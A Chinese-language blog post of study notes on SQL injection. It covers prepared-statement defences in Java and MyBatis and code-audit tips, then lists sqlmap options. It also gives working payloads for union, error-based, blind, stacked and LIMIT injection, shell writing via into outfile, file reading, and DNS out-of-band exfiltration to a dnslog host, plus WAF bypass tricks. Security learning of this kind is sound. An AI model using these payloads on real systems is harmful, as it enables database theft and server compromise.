温故而知新之sql注入
回想起我刚学sql注入的时候 好像是大一的时候
打sqllab也没记一些内容 现在刚好学了java代审 开始重新记录一下有关sql注入的内容
sql注入
sql注入的成因是由于sql语句中的参数可控 并且在代码中直接拼接参数 导致传入的参数值直接作为sql语句的标识符拼接到sql语句中 导致在执行正常sql语句的同时又去执行了其他的恶意语句
sql注入的防御
最有用的就是预编译
预编译实际上发送sql语句 让数据库将该sql语句变成一个固定模板 占位符的位置之后只会插入标识符 从效果上来看就是让参数的值变成一段字面量 使得一些特殊符号在sql语句中失去了原来的意义 注入攻击也就失去意义了
1 | //不安全 |
上述java代码没有使用预编译 导致存在sql注入 如果传入的username和password是恶意参数就可能会导致sql注入
1 | //安全 |
我们使用预编译的时候 sql语句中的参数位置换成?后面要将这个占位符替换为具体的参数值
此时executeQuery方法要使用无参方法
动态查表 列或者排序的的时候 要使用数据库中的标识符比如表名和列名 或者排序符号的不能进行预编译会报错
这个时候只能拼接参数 因此需要搞一个黑/白名单 过滤掉一些恶意参数
1 | String sql2 = "select " + column + " from users"; |
现在都是直接使用mybatis 简化数据库的使用
mybatis有2种占位符 ${} #{} 前者不会预编译 后者会 其他的就基本和上述情况一样了
审计思路
全局搜索
1 | executeQuery |
判断使用的是什么orm框架 mybait Hibernate JPA
判断是否正确进行预编译 setString setObject #{}
判断是否直接拼接参数
重点查看order by排序,动态列名/表名,like模糊查询,in查询 这些不能进行预编译的查询语句
sqlmap常用参数
1 | -u #指定url |
technique= 注入类型
| 代码 | 注入技术 | 说明 |
|---|---|---|
| B | Boolean-based blind | 布尔盲注:根据页面返回内容的差异判断真假 |
| E | Error-based | 报错注入:利用数据库返回的错误信息获取数据 |
| U | UNION query | 联合查询注入:使用 UNION 关键字获取其他数据 |
| S | Stacked queries | 堆叠查询注入:可执行多条SQL语句,常用于执行命令 |
| T | Time-based blind | 时间盲注:根据页面响应的延迟时间判断条件真假 |
| Q | Inline queries | 内联查询注入:将子查询直接注入到原始查询中 |
常用绕过技术
附上一个师傅总结的绕过脚本分析sqlmap中tamper的用法
1 | 1、apostrophemask.py |
常见sql注入类型
先贴一些师傅的巨详细总结
联合注入
使用union语句 可以拼接输出后续内容
在使用联合注入的时候需要注意字段的个数应该要相同
1 | 1' union select 1,2,3%23 |
报错注入
updatexml 常用
1 | updatexml(1,concat(0x7e,database(),0x7e),1)%23 |
extractvalue 常用
1 | extractvalue(1,concat(0x7e,database(),0x7e))%23 |
上述2个都是通过xpath路径报错来回显的
xpath就是xml文件中文档的路径
其他的还有数据溢出
exp
floor
但是大多都有特定限制条件 具体可以看看上面师傅的文章的详细总结
盲注
个人觉得最好用的就是用异或符号^
1 | 1'^1%23 |
也可以使用延时注入
1 | 1'and(if(1=1,sleep(3),0))%23 |
堆叠注入
没有限制查询次数 可能使用了某些可以多次查询的函数
1 | 1';select database()%23 |
sql注入写shell
可以写入条件:
- 存在sql注入
- 知道绝对路径 且有写入权限
- secure_file_priv没有具体值(secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。)
1 | #联合注入写入 |
sql注入读文件
1 | #load_file |
dns外代注入
条件
- secure_file_priv没有具体值
- 数据库用户有file权限 (一般只要是root就可以)
- 必须是window主机
load_file()里面的地址必须以//开头
window提供unc路径 统一命名路径
//服务名/共享文件夹/路径 有点像smb服务的共享文件
1 | 1' union select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt')); |
limit注入
在Limit后面,我们还可以用 procedure analyse()这个子查询,而且只能用extractvalue 和 benchmark 函数进行延时,不过这种语法是有前提条件的,就是5.0.0< MySQL <5.6.6版本
1 | select id from test where id >0 order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(635000,SHA1(1)),1))))),1) |
BENCHMARK(635000,SHA1(1)) 计算sha(1) 635000次 实现延迟注入 差不多就是1秒
无列名注入
字符比较
1 | 'and (select 1,1) > (select * from flag)%23 |
多次尝试爆破出字段名
列名取别名
1 | select 1,2 from (select * from flag)a; |
bypass
ctf题比较常见 waf里面也可能比较常见
空格绕过
注释绕过
1 | /**/ |
加号绕过+
url绕过 %20 %0b %0a 空字符即可
括号绕过(最好用的)
引号绕过
使用反斜杠\注释内部sql语句中的引号
使用16进制编码 解决表名/列名
逗号绕过
使用from for语句
1 | substr(database(),1,1) == substr(database() from 1 for 1) |
join 连接
1 | select (select 1)a join (select 2)b from flag |
like绕过
比较符号绕过
between and 绕过
等号绕过
like rlike in
<>绕过
注释符绕过
手动闭合引号
1 | '1'='1 |
内联绕过
还记得第三届长城杯有个ai的sql注入
当时死活打不出来
后面发现要这么写才能绕过
1 | /*!50000 union*/ |
1 | /*!版本号 sql语句*/ |
我猜/*!*/可能给限制了
所以得要用这个条件注释 mysql版本大于等于5.0.0 这个才能生效
SQL注入 in java
总结一下
sql注入类型倒是很简单的总结了一下 主要是修复部分
感觉业务里面能碰到的最多是盲注类型
不会的内容还是得多看多学
说些什么吧!